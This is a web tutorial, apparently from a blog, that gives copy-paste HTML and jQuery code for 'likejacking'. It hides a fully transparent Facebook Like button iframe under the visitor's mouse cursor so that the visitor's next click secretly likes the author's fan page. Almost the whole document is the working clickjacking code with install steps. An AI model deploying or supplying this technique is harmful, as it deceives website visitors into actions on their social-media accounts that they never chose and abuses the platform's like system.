1. Put the below code in head tag:
<script src="jquery-1.9.1.js" type="text/javascript"></script>if you can't copy this code then go to this url and copy code => Download
<script type="text/javascript">
var interval = 0;
function updateActiveElement() {
if($(document.activeElement).attr('id') == "fb-iframe") {
clearInterval(interval);
bodyClicked = true;
}
}
$(function() {
interval = setInterval("updateActiveElement();", 50);
});
</script>
2. Put the below code in body tag:
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="iframe-wrapper">if you can't copy this code then go to this url and copy code => Download
<iframe src="http://www.facebook.com/plugins/like.php?href=YOUR_PAGE_URL[/COLOR]&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fb-iframe" name="fb-iframe">
</iframe>
</div>
And then find YOUR_PAGE_URL in src iframe and replace it with your facebook fan page url (ex: http://www.facebook.com/Newbister
3. Put the below code anywhere in html tag:
<script type="text/javascript">if you can't copy this code then go to this url and copy code => Download
var bodyClicked = false;
var iframeWrapper = document.getElementById('iframe-wrapper');
var standardBody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body;
function mouseFollower(e) {
// for internet explorer
if (window.event) {
iframeWrapper.style.top = (window.event.y - 5) + standardBody.scrollTop + 'px';
iframeWrapper.style.left = (window.event.x - 5) + standardBody.scrollLeft + 'px';
}
else {
iframeWrapper.style.top = (e.pageY-5) + 'px';
iframeWrapper.style.left = (e.pageX-5) + 'px';
}
}
document.onmousemove = function(e) {
if(bodyClicked == false) {
mouseFollower(e);
}
}
</script>
for more you can download this code and edit your fan page url :)
Sign up here with your email